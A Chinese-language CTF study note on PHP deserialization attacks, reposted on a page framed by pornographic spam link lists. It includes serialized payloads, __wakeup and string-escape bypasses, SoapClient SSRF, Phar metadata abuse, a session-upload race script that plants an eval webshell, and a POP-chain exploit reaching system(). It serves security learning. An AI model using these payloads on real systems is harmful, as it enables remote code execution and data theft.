日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

[CTF/Web] PHP 反序列化学习笔记

發(fā)布時間:2023/11/20 windows 63 coder
生活随笔 收集整理的這篇文章主要介紹了 [CTF/Web] PHP 反序列化学习笔记 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

Serialize & unserialize

這兩個方法為 PHP 中的方法, 參見 serialize 和 unserialize 的官方文檔.

以下內(nèi)容中可能存在 字段, 屬性, 成員 三個名詞誤用/混用, 但基本都表示 屬性

文章仍在完善之中, SESSION 反序列化漏洞要學廢了

入門

我們先看看方法的序列化之后的字符串的格式是怎么樣的:

首先每一個序列化后的小段都由; 隔開, 使用{}表示層級關(guān)系

數(shù)據(jù)類型 提示符 格式
字符串 s s:長度:"內(nèi)容"
已轉(zhuǎn)義字符串 S s:長度:"轉(zhuǎn)義后的內(nèi)容"
整數(shù) i i:數(shù)值
布爾值 b b:1 => true / b:0 => false
空值 N N;
數(shù)組 a a:大小:
對象 O O:類型名長度:"類型名稱":成員數(shù):
引用 R R:反序列化變量的序號, 從1開始

[!NOTE]

我們可以把對象的成員抽象為一個關(guān)聯(lián)數(shù)組

我們的鍵只允許字符串(關(guān)聯(lián)數(shù)組)和整數(shù)型(數(shù)值數(shù)組), 對與特殊的鍵將會進行轉(zhuǎn)換

例如 NULL 會轉(zhuǎn)成 空字符串, true 會轉(zhuǎn)換成 整數(shù)1, false 會轉(zhuǎn)換成 整數(shù)2

其余情況會被強轉(zhuǎn)成字符串, 例如 數(shù)組 會轉(zhuǎn)換成 Array

我們使用一個具體一點的示例來看看:

<?php

class Kengwang
{
    public $name = "kengwang";
    public $age = 18;
    public $sex = true;
    public $route = LearningRoute::Web;
    public $tag = array("dino", "cdut", "chengdu");
    public $girlFriend = null;
    private $pants = "red"; // not true
}

enum LearningRoute {
    case Web;
    case Pwn;
    case Misc;
}

$kw = new Kengwang();
print_r(serialize($kw));

我們可以看看序列化后的內(nèi)容:

O:8:"Kengwang":7:{s:4:"name";s:8:"kengwang";s:3:"age";i:18;s:3:"sex";b:1;s:5:"route";E:17:"LearningRoute:Web";s:3:"tag";a:3:{i:0;s:4:"dino";i:1;s:4:"cdut";i:2;s:7:"chengdu";}s:10:"girlFriend";N;s:15:"Kengwangpants";s:3:"red";}

有些混亂, 我們按照層級關(guān)系理一理

O:8:"Kengwang":7:{ // 定義了一個對象 [O], 對象名稱長度為 [8], 對象類型數(shù)為 [7]
    s:4:"name";s:8:"kengwang"; // 第一個字段名稱是[4]個長度的"name", 值為長度為[8]的字符串([s]) "kengwang" 
    s:3:"age";i:18; // 第二個字段名稱是長度為[3]的"age", 值為整數(shù)型([i]): 18
    s:3:"sex";b:1; // 第三個字段名稱是長度為[3]的"sex", 值為布爾型([b]): 1 -> true
    s:5:"route";E:17:"LearningRoute:Web"; // 第四個字段名稱是長度為[5]的"route", 值為枚舉類型([E]), 枚舉值長度為 [17], 值為 "...":
    s:3:"tag";a:3:{ // 長度為 [3] 的數(shù)組([a])
    	i:0;s:4:"dino"; // 第[0]個元素
    	i:1;s:4:"cdut";
    	i:2;s:7:"chengdu";
	}
	s:10:"girlFriend";N; // 字段 "girlFriend" 為 NULL
	s:15:" Kengwang pants";s:3:"red"; // 私有字段名稱為 類型名 字段名, 其中類型名用 NULL 字符包裹
}

關(guān)于非公有字段名稱:

  • private 使用: 私有的類的名稱 (考慮到繼承的情況) 和字段名組合 \x00類名稱\x00字段名
  • protected 使用: * 和字段名組合 \x00*\x00字段名

魔術(shù)方法

PHP 之中的對象擁有一個生命周期, 在生命周期中會調(diào)用 魔術(shù)方法, 可參見官方文檔.

對于魔術(shù)方法的詳細作用不在本文的討論重點.

__construct

構(gòu)造函數(shù), 在對應(yīng)對象實例化時自動被調(diào)用. 子類中的構(gòu)造函數(shù)不會隱式調(diào)用父類的構(gòu)造函數(shù).

在 PHP 8 以前, 與類名同名的方法可以作為 __constuct 調(diào)用但 __construct 方法優(yōu)先

__wakeup

此方法在對象被反序列化時會調(diào)用

__sleep

此方法在對象被序列化時會調(diào)用

__toString

此方法在對象轉(zhuǎn)化成字符串時會被調(diào)用.

當然, 因為 PHP 是一個弱類型語言, 很多情況對象會被隱式轉(zhuǎn)換成字符串, 比如說

  • == 與字符串比較時會被隱式轉(zhuǎn)換
  • 字符串操作 (str系列函數(shù)), 字符串拼接, addslashes
  • 一些參數(shù)需要為字符串的參數(shù): class_exists , in_array(第一個參數(shù)), SQL 預編譯語句, md5, sha1
  • print, echo 函數(shù)

__get

在讀取某些不可訪問或者不存在的字段時會調(diào)用此方法, 傳入?yún)?shù)為字段名稱

__set

給不可訪問和不存在的字段賦值時會被調(diào)用, 傳入的參數(shù)第一個為字段名, 第二個為賦值

__invoke

把對象當做函數(shù)調(diào)用時會使用, 例如 $foo()

當然不僅限于顯式調(diào)用, 將其作為回調(diào)函數(shù) (例如 array_map作為第一個參數(shù)傳入) 也會調(diào)用此函數(shù)

__call

調(diào)用無法訪問的方法時會調(diào)用

__isset

在對不可訪問的字段調(diào)用 isset 或者 empty 時調(diào)用

__unset

不可訪問的字段使用 unset 時觸發(fā)

__debugInfo

在使用 var_dump, print_r 時會被調(diào)用

剩下的直接貼出其他師傅整理好的:

__call()		// 在對象上下文中調(diào)用不可訪問的方法時觸發(fā)
__callStatic()	// 在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā)
__set_state()	// 調(diào)用var_export()導出類時,此靜態(tài)方法會被調(diào)用
__clone()		// 當對象復制完成時調(diào)用
__autoload()	// 嘗試加載未定義的類

魔術(shù)方法執(zhí)行順序

對于魔術(shù)方法的調(diào)用順序, 不同的情況下會有不同的順序

首先, 一個對象在其生命周期中一定會走過 destruct, 只有當對象沒有被任何變量指向時才會被回收

當使用 new 關(guān)鍵字來創(chuàng)建一個對象時會調(diào)用 construct

對于序列化/反序列化時的情況:

序列化時會先調(diào)用 sleep 再調(diào)用 destruct, 故而完整的調(diào)用順序為: sleep -> (變量存在) -> destruct

反序列化時如果有 __wakeup 則會調(diào)用 __wakeUp 而不是 __construct, 故而邏輯為 __wakeUp/__construct -> (變量存在)

當然, 也會有不遵守這個調(diào)用順序的情況, 后面繞過里面會進行討論

由此, 我們可以利用對象反序列化來構(gòu)造 POP 鏈, 我們可以看一道題

2023年 SWPU NSS 秋季招新賽 (校外賽道) - UnS3rialize, 在文章最底部

繞過

非公有字段繞過

對于 php7.1+ 版本, 反序列化時若提供的命名為公有字段格式, 會忽略掉非公有字段的訪問性, 而可以繞過直接直接對其賦值

這個時候我們有兩種方法可以

  1. 在寫序列化 php 文件時可以直接將字段改成 public
  2. 修改序列化后的字段名, 改為公開字段的樣式, 記得修改字符數(shù)

繞過 __wakeup

參見 CVE-2016-7124

利用條件:

  • php5: <5.6.25
  • php7: <7.0.10

當反序列化時, 給出的字段個數(shù)的數(shù)字小于提供的字段個數(shù), 將不會執(zhí)行 __wakeup

例如:

O:4:"Dino":1:{s:4:"addr";s:3:"209";}

改為:

O:4:"Dino":114514:{s:4:"addr";s:3:"209";}

十六進制繞過字符匹配

我們可以使用十六進制搭配上已轉(zhuǎn)義字符串來繞過對某些字符的檢測

例如:

<?php
class Read
{
    public $name;

    public function __wakeup()
    {
        if ($this->name == "flag")
        {
            echo "You did it!";
        }
    }
}


$str = '';
if (strpos($str, "flag") === false)
{
    $obj = unserialize($str);
}
else
{
    echo "You can't do it!";
}

這里檢測了是否包含 flag 字符, 我們可以嘗試使用 flag 的十六進制 \66\6c\61\67 來繞過, 構(gòu)造以下:

'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}'

順便貼一個 Python 腳本, 可以將字符串轉(zhuǎn)換為 Hex

str = input('Enter a string: ')
print('\\' + str.encode('utf-8').hex('\\'))

利用好引用

對于需要判斷兩個變量是否相等時, 我們可以考慮使用引用來讓兩個變量始終相等.

這個相當于一個指針一樣, 代碼如下:

class A {
    public $a;
    public $b;    
}

$a = new A();
$a->a = &$a->b;
echo serialize($a);

序列化后的結(jié)果為:

O:1:"A":2:{s:1:"a";N;s:1:"b";R:2;}

對象反序列化正則繞過

有些時候我們會看到^O:\d+ 這種的正則表達式, 要求開頭不能為對象反序列化

這種情況我們有以下繞過手段

  1. 由于\d只判斷了是否為數(shù)字, 則可以在個數(shù)前添加+號來繞過正則表達式
  2. 將這個對象嵌套在其他類型的反序列化之中, 例如數(shù)組

當然, 第一種更佳. 因為若不只匹配開頭則仍可以繞過

字符逃逸

對于字符逃逸, 由于 PHP 序列化后的字符類型中的引號不會被轉(zhuǎn)義, 對于字符串末尾靠提供的字符數(shù)量來讀取, 對于服務(wù)端上將傳入的字符串實際長度進行增加或減少(例如替換指定字符到更長/短的字符), 我們就可以將其溢出并我們的惡意字符串反序列化.

這種情況下我們通常只能控制其中的一個字符變量, 而不是整個反序列話字符串. 題目會將其先序列化, 再進行字符處理, 之后再反序列化. (類似于將對象存儲到數(shù)據(jù)庫)

例如我們有如下過濾機制:

<?php

class Book
{
    public $id = 114514;
    public $name = "Kengwang 的學習筆記"; // 可控
    public $path = "Kengwang 的學習筆記.md";
}

function filter($str)
{
    return str_replace("'", "\\'", $str);
}

$exampleBook = new Book();
echo "[處理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[處理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路徑] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";

此代碼會將其中的單引號過濾成為轉(zhuǎn)義+單引號, 此時字符串的長度會進行變化, 我們可以利用這一點使 name 中的東西溢出到 path 中.

我們構(gòu)造惡意字符串時需要先將前面的雙引號閉合,同時分號表示此變量結(jié)束. 在攻擊變量結(jié)束之后我們需要用 ;} 結(jié)束當前的序列化, 會自動忽略掉這之后的序列化.

我們的每一個單引號會變成兩個字符, 于是可以將我們的惡意字符給頂?shù)? 我們只需要提供 惡意字符串長度 個會被放大變成兩倍的字符.

當然如果不是兩倍, 我們可以靈活運用 + 來進行倍數(shù)配齊

例如我們需要惡意構(gòu)造 ";s:4:"path";s:4:"flag";}s:4:"fake";s:34:, 長度為 41, 于是我們提供 41 個'

最終給 name 的賦值為

Kengwang 的學習筆記'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:

我們可以運行一下試試:

[處理前]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的學習筆記'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的學習筆記.md";}
[處理后]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的學習筆記\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的學習筆記.md";}
[文件路徑]
flag

可以看到 path 被替換成了 flag

當然有字符增加就會有字符減少, 對于字符減少, 我們假設(shè)有如下情況:

<?php

class Book
{
    public $id = 1919810;
    public $name = "Kengwang 的學習筆記"; // 可控
    public $description = "The WORST Web Security Leaning Note"; // 可控
    public $path = "Kengwang 的學習筆記.md";
}

function filter($str)
{
    return str_replace("'", "", $str);
}

$exampleBook = new Book();
echo "[處理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[處理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路徑] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";

這里把反引號給過濾掉了, 我們先拿到正常的序列化后的串

O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:24:"Kengwang 的學習筆記";s:11:"description";s:35:"The WORST Web Security Leaning Note";s:4:"path";s:27:"Kengwang 的學習筆記.md";}

我們需要讓 ";s:11:"description";s:35: 被吞掉作為 name 變量的值, description的前引號會將其閉合, 此后 description 中的就會逃逸出成為反序列化串, 于是我們在 name 中填入 要被吞掉的字符數(shù)目 個', 于是嘗試

name 賦值為 Kengwang Note''''''''''''''''''''''''''

description 賦值為 ;s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"

得到結(jié)果如下

[處理前]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note''''''''''''''''''''''''''";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的學習 筆記.md";}
[處理后]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的學習筆記.md";}
[文件路徑]
flag

利用不完整類繞過序列化回旋鏢

我這起的什么名字啊

當存在 serialize(unserialize($x)) != $x 這種很神奇的東西時, 我們可以利用不完整類 __PHP_Incomplete_Class 來進行處理

當我們嘗試反序列化到一個不存在的類是, PHP 會使用 __PHP_Incomplete_Class_Name 這個追加的字段來進行存儲

我們于是可以嘗試自己構(gòu)造一個不完整類

<?php
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(serialize(unserialize($raw)) == $exp); // true

這樣就可以繞過了

更近一步, 我們可以通過這個讓一個對象被調(diào)用后憑空消失, 只需要手動構(gòu)造無__PHP_Incomplete_Class_Name的不完整對象

PHP 會先把他的屬性給創(chuàng)建好, 但是在創(chuàng)建好最后一個屬性后并未發(fā)現(xiàn) __PHP_Incomplete_Class_Name, 于是會將前面創(chuàng)建的所有的屬性回收并引發(fā) __destruct

當然, 要達成這種在反序列化后的變量還存在的時候引發(fā) destruct, 還有下面這一種方法

Fast Destruct

還有一種叫做 fast destruct 的神奇操作, 同樣也是為了在序列化過程中, 在已經(jīng)創(chuàng)建好了屬性的對象之后引發(fā)反序列化錯誤, 導致全部屬性被回收而 destruct, 這種手法要比上一種簡單一點點:

  • 改變序列化的元素數(shù)字個數(shù) (往小的寫)
  • 刪掉最后一個} (這是什么爽的操作)

這個可以參考 強網(wǎng)杯 2021 WhereIsUWebShell, 可以去看看其他師傅的解法, 我在看的時候看到了很多奇特的繞過手法.

利用

原生類應(yīng)用

當然, 我們反序列化也可以反序列化 PHP 中存在的類, 我們可以利用這些類存在的一些魔術(shù)方法來進行利用

我們可以通過腳本來獲取到這些類:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            echo $class . '::' . $method . "\n";
        }
    }
}

輸出的內(nèi)容有點多就不在這里貼出來了, 我們關(guān)注幾個原生類

SoapClient

PHP 中默認未啟用此擴展, 需要修改 php.ini, 取消 extension=soap 前的注釋

SoapClient 可以進行 HTTP/HTTPS 的請求, 但是不會輸出服務(wù)端輸出的內(nèi)容. 不過, 我們?nèi)匀豢梢岳眠@個來進行內(nèi)網(wǎng)滲透.

我們通過上面的腳本可以找到 SoapClient 類中存在 SoapClient::__call, 當我們調(diào)用一個不存在的方法時會轉(zhuǎn)發(fā)到此方法, 同時請求給服務(wù)端

對于 SoapClient 的反序列化, 我們可以控制很多地方的參數(shù),

  • location (SoapClientlocation),這樣就可以發(fā)送請求到指定服務(wù)器
  • uri (SoapClienturi), 由于這一串最后會到 Header 里的 SOAPAction, 我們可以在這里注入換行來新建 Header 項, 注意這里的會自動給傳入的內(nèi)容包裹上雙引號
  • useragent (SoapClient_user_agent), 由于 User-Agent 段在 Content-Type 的上方, 我們可以通過對 useragent 換行來覆蓋掉默認的 text/xml 的請求類型. 由于默認是 POST 請求, 結(jié)合起來我們就可以對指定服務(wù)器發(fā)送任意 POST 請求.

Exception / Error 類利用

如果 php 文件沒有禁用報錯輸出, 我們可以利用 Exception 的打印時會調(diào)用 __toString 來打印報錯信息, 于是我們便可以在報錯信息 (Exception Message) 中進行 XSS 注入.

同時也可以繞過哈希比較, 當兩個報錯類, 一個 Exception, 一個為 Error, 雖然他們兩個對象類型不等, 但經(jīng)過 __toString 后都一致, 可以利用他來繞過 PHP 中的哈希比較

文件操作

ZipArchive 類刪除文件

是不是很神奇, 這個能把文件刪除了!

ZipArchive 中存在 open 方法, 參數(shù)為 (string $filename, int $flags=0), 第一個為文件名, 第二個為打開的模式, 有以下幾種模式

ZipArchive::OVERWRITE	總是以一個新的壓縮包開始,此模式下如果已經(jīng)存在則會被覆蓋或刪除
ZipArchive::CREATE		如果不存在則創(chuàng)建一個zip壓縮包
ZipArchive::RDONLY		只讀模式打開壓縮包
ZipArchive::EXCL		如果壓縮包已經(jīng)存在,則出錯
ZipArchive::CHECKCONS	對壓縮包執(zhí)行額外的一致性檢查,如果失敗則顯示錯誤

我們可以發(fā)現(xiàn)當 flagoverride (8) 時, 會將目標文件先進行刪除, 之后由于并沒有進行保存操作, 于是文件就被刪除了

ByteCTF 2019 - EZCMS 中有出現(xiàn)過

其他

當然, 原生類還有其他用途, 但是由于反序列化的限制無法被利用, 這里也貼出來吧

SQLite3 類創(chuàng)建文件

可以利用此創(chuàng)建本地數(shù)據(jù)庫的能力來創(chuàng)建一個文件

DirectoryIterator / FilesystemIterator 列出文件

這兩個類在進行 toString 操作后會返回當前目錄中的第一個文件

還有一個特殊的 GlobIterator, 不需要 glob:// 就可以遍歷目錄

SplFileObject 讀取文件

該方法不支持通配符并且只能獲取都愛第一行, 但是當走投無路的時候也不失為一種方法

閉包 (Closure)

閉包在 PHP 5.3 版本中被引入來代表匿名函數(shù), 直接將其作為函數(shù)來調(diào)用. 但是會收到 PHP 的安全限制而無法反序列化.

當然, 我們可能會發(fā)現(xiàn)一些第三方的 Closure 庫并沒有沒安全限制, 利用這些來反序列化也異曲同工.

Reflection系列 反射

可以參考 PHP 手冊: https://www.php.net/manual/en/book.reflection.php

反射可以讓你獲取到指定類,函數(shù)等的代碼, 可以利用其進行輸出

SimpleXMLElement XML 讀取

可以把這個和 XXE 結(jié)合起來實現(xiàn)文件讀取

Phar 反序列化

Phar 相當于一個打包了 php 文件的壓縮包. Phar 是PHP 5.3 中新增的特性。 它能夠在打包 PHP 文件,這對通過單個文件發(fā)布應(yīng)用程序或庫有很大幫助。

勾起以前開 MC 基巖版插件服的回憶了

Phar 會以序列化的方式存儲 meta-data (manifest), 當我們使用 phar:// 協(xié)議讀取 Phar 文件的時候, PHP 會將其反序列化. 幾乎所有的文件讀取函數(shù)都收到了此影響,

參見 https://paper.seebug.org/680/ 以及 https://blog.zsxsoft.com/post/38

我們需要在本地環(huán)境的 php.ini 中將 ;phar.readonly = On 改為 phar.readonly = Off

我們可以先構(gòu)建一個惡意 phar 文件. 這里直接抄 H3 佬的:

<?php
    class D1no{
    }
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后綴名必須為phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設(shè)置stub
    $o = new D1no();
    $phar->setMetadata($o); //將自定義的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
    //簽名自動計算
    $phar->stopBuffering();
?>

之后我們就可以將此文件上傳到服務(wù)器, 再通過文件操作函數(shù)調(diào)用, 例如 phar://test.phar/test 來讓他打開 phar 文件

當然在上面引用的兩篇文章中可以看到還有很多意想不到的地方也受到了影響

當然, 如果存在某些校驗, 我們也可以通過一些手段繞過.

如果不允許 phar 出現(xiàn)在文件路徑開頭, 我們可以套上其他的協(xié)議: compress.bzip://, compress.bzip2://, compress.zlib:// php://filter/resource=

SESSION 反序列化漏洞

這里我們主要利用 session.upload_progress 來進行利用.

我們要先知道, 如果沒有特別配置的話, session 通常存儲在服務(wù)器上的某個文件夾中, 并且文件名通常為 sess_{你的SESSION_ID}

由于他存儲時時通過反序列化, 所以原本的字符串會被保留. 于是我們可以注入 PHP 代碼, 再通過文件包含執(zhí)行他

利用條件:

  1. 可以進行任意文件包含 (或允許包含 session 存儲文件)
  2. 知道session文件存放路徑,可以嘗試默認路徑
  3. 具有讀取和寫入session文件的權(quán)限

這里我們就抄一下 H3 佬的一個 exp:

若服務(wù)器存在文件 test.php:

<?php
$b = $_GET['file'];
include "$b";
?>

我們可以使用類似條件競爭的方法來進行, 下面是 Python, 我加一點點注釋:

利用腳本

import io
import requests
import threading
sessid = 'KW'
data = {"cmd":"system('cat /flag');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50) # 創(chuàng)建 dummy 數(shù)據(jù)
        resp = session.post( 'http://[ip]/test.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('KW.txt',f)}, cookies={'PHPSESSID': sessid} ) # 注入惡意代碼到存儲的 SESSION 中
def read(session):
    while True:
        resp = session.post('http://[ip]/test.php?file=session/sess_'+sessid,data=data) # 包含 SESSION 文件, 執(zhí)行惡意代碼
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
            break
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

如果是反序列化的話, 我們也可以進行反序列化注入

如果我們的文件名可控, 我們在之前放上 | 表示前面的是鍵名, 后再寫入惡意代碼. 注意引號要進行轉(zhuǎn)義

便可有exp

內(nèi)容可以參考: PHP安全學習—反序列化漏洞 - 利用session.upload_progress進行反序列化攻擊 by H3rmeskit

題目

題源: 2023年 SWPU NSS 秋季招新賽 (校外賽道) - UnS3rialize

題目源碼:

<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "Congratulations!!!You have learned to construct a POP chain<br/>";
        system($this->cmd);
    }
    function __wakeup()
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{
    public $whoami;
    function __get($argv)
    {
        echo "what do you want?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{
    public $sth;
    function __toString()
    {
        echo "Now you know how to use __toString<br/>There is more than one way to trigger";
        return $this->sth->var;
    }
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "Now you know how to use __construct<br/>";
                echo "your notes".$this->notes;
        }else{
            die("N0!");
        }
    }
}



if (isset($_GET['ser'])) {
    $ser = unserialize(base64_decode($_GET['ser']));
} else {
    echo "Let's do some deserialization :)";
}

我們可以分析這道題

  • 看到在 NSS 類的 __invoke 下存在 system 執(zhí)行, 需要將 NSS 類作為函數(shù)調(diào)用
  • C 類的 __get 方法將 whoami 進行調(diào)用 (這里使用了中間變量中轉(zhuǎn)), 我們將其賦值為 NSS 類, 我們需要找到訪問非法字段的地方
  • T__toString 下訪問了 sthvar (var 非法), 我們將其賦值為 C 類, 需要找到字符串調(diào)用的地方
  • F 中的 __destruct 存在對 note 字符串拼接, 將其賦值為 T, 發(fā)現(xiàn)需要userpasswd滿足條件

于是我們構(gòu)造如下反序列化鏈

<?php
class NSS
{
    public $cmd = "cat /flag";
}

class C
{
    public $whoami;
}

class T
{
    public $sth;
}

class F
{
    public $user = "SWPU";
    public $passwd = "NSS";
    public $notes;
}

$f = new F("SWPU", "NSS");

$t = new T();
$c = new C();
$nss = new NSS();
$c->whoami = $nss;
$t->sth = $c;
$f->notes = $t;
echo serialize($f);

即可拿到 flag


參考資料

  • PHP安全學習—反序列化漏洞 by H3rmesk1t
  • PHP反序列化漏洞詳解(萬字分析、由淺入深) by Hardworking666
  • PHP反序列化 by Y4tacker
  • 【W(wǎng)EB】PHP反序列化 by 狼組安全團隊公開知識庫
  • PHP 序列化冷知識 by 小安@知乎

總結(jié)

以上是生活随笔為你收集整理的[CTF/Web] PHP 反序列化学习笔记的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 欧美又粗又长 | 91美女在线视频 | 国产一区不卡在线 | 国产一区二区啪啪啪 | 少妇高潮露脸国语对白 | 五月婷婷六月激情 | 国产1区2区在线观看 | 曰批又黄又爽免费视频 | 久久精品亚洲无码 | 天天爽天天操 | 中文精品一区二区三区 | 美女福利视频网 | 欧美xxxx18国产 | 欧美色视频一区二区三区 | 五月婷婷丁香花 | 免费的三级网站 | 天天操夜夜爱 | 久久国产免费视频 | 国产首页 | 午夜激情在线视频 | 成人国产一区二区三区精品麻豆 | 欧美丝袜视频 | 国产日产精品一区二区三区 | 天天添天天射 | xxxxⅹxxxhd日本8hd| 欧美精品成人一区二区在线观看 | 亚洲色婷婷一区二区三区 | 亚洲av区无码字幕中文色 | 那里可以看毛片 | 羞羞免费视频 | 日本三级一区二区三区 | 精久久久久久久 | 日韩三级中文 | 成人欧美一区二区三区在线观看 | 国产在线视频一区二区 | 波多野结衣欧美 | 亚洲精品99久久久久中文字幕 | 黄色综合网站 | 久久久久久久久久久av | 亚洲视频图片 | 国产综合精品在线 | 日韩不卡高清视频 | 欧美老肥妇做.爰bbww视频 | 91尤物在线 | 日韩欧美亚洲一区二区 | 久久久999国产精品 天堂av中文在线 | 久久久久久久av | 天天躁夜夜躁狠狠是什么心态 | 亚洲色图日韩 | 精品午夜久久 | 2019天天操 | 在线国产网站 | 久久视频一区二区 | www.国产视频.com | 丰满熟女人妻一区二区三区 | 欧美影视一区 | 色综网| 性精品 | 色图综合网 | 国产成人av免费观看 | 久久国产精品国语对白 | cao久久 | 日韩 国产 一区 | 女人张开腿让男人桶爽 | 秋霞国产一区 | 免费视频福利 | 亚洲手机在线观看 | 亚洲青涩网| 日韩资源网 | 99久久免费看精品国产一区 | 制服丝袜亚洲色图 | 折磨小男生性器羞耻的故事 | 国产精品国产三级国产专区51区 | 国产剧情在线观看 | 精品人妻一区二区三区免费 | 少妇被爽到高潮动态图 | 国产露脸150部国语对白 | 狠狠操免费视频 | 黄网免费视频 | 伊人青青久久 | 精品一区二区在线观看视频 | 国产高清在线视频 | 欧美成人片在线观看 | www噜噜噜 | 少妇精品偷拍高潮白浆 | 亚洲av无码专区国产乱码不卡 | 国产综合视频 | 免费精品视频在线观看 | 色老头一区二区三区在线观看 | 黄色www | 中文字幕一二三四 | 97国产在线观看 | 黄色片视频网站 | 九九热精品视频在线观看 | 国产精品成久久久久三级 | gai视频在线观看资源 | www.日韩精品 | 男女猛烈无遮挡免费视频 | 大地资源中文在线观看免费版 |